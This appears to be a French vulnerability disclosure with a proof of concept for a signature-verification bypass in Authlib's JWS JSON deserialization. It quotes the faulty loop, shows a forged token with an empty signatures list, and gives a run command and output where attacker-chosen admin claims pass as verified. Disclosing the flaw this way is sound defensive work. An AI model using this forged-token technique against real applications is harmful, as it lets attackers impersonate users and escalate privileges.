
Authlib 1.7.2 : contournement de la vérification de signature — le JWS JSON général accepte une charge utile non signée lorsque `signatures` est vide
Preuve de concept pour un contournement de la vérification de signature dans le module authlib.jose d'Authlib. JsonWebSignature.deserialize_json() accepte un objet JWS JSON General avec un tableau signatures vide et renvoie la charge utile contrôlée par l'attaquant comme vérifiée avec succès - aucune clé requise, aucune signature vérifiée.
Affecté : Authlib ≤ 1.7.2, module authlib.jose
Non affecté : le chemin JWT compact (jwt.decode()). Ce bug est spécifique à l'API JWS JSON Serialization.
CWE : CWE-347 (Vérification incorrecte de signature cryptographique), CWE-670, CWE-358
Statut : non corrigé dans 1.7.x - le module authlib.jose a été entièrement supprimé dans Authlib 1.8, et non corrigé. Tout déploiement épinglé en dessous de 1.8 reste exposé.
# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True # starts True
for header_obj in obj["signatures"]: # zero iterations when signatures = []
jws_header, valid = self._validate_json_jws(
payload_segment, payload, header_obj, key
)
headers.append(jws_header)
if not valid:
is_valid = False
rv = JWSObject(headers, payload, "json")
if is_valid:
return rv # attacker payload returned as verified
raise BadSignatureError(rv)
is_valid est initialisé à True et n'est modifié qu'à l'intérieur du corps de la boucle. Lorsque signatures vaut [], la boucle s'exécute zéro fois, aucune logique de vérification n'est exécutée et la fonction renvoie un succès - un défaut classique de vérité vacuelle. Les deux points d'entrée publics sont affectés :
jws.deserialize_json({"payload": "...", "signatures": []}, key) # direct
jws.deserialize('{"payload": "...", "signatures": []}', key) # generic dispatcher
Toute application qui vérifie une entrée JSON JWS contrôlée par l'attaquant via deserialize_json() ou deserialize() perd ses garanties d'authenticité et d'intégrité sur cette entrée :
sub, role, de revendications de sessionscope, tenant, permissionsgit clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py
=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
"payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
"signatures": [
{
"protected": "eyJhbGciOiJIUzI1NiJ9",
"signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
}
]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'
=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:
=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
"payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
"signatures": []
}
[X VULNERABLE] Verification succeeded WITHOUT any signature!
Payload : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
Headers : []
Type : json
→ Attacker fully controls payload content
→ Application trusts payload as signed by trusted party
Les trois cas isolent précisément la faille : une signature réelle avec la mauvaise clé est correctement rejetée, une signature réelle avec la bonne clé est correctement acceptée, et une liste de signatures vide — qui devrait être le cas le plus rejeté de tous — est silencieusement acceptée.
authlib.jose (aucun correctif publié) : 30 juilletauthlib.jose supprimé dans Authlib 1.8 (non rétroporté comme correctif)Découvert et signalé par uziii2208 et nguyenminhtuan28.
Ce PoC est publié à des fins éducatives et défensives — pour aider les mainteneurs, les équipes de sécurité et les utilisateurs en aval à comprendre et à corriger le problème. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.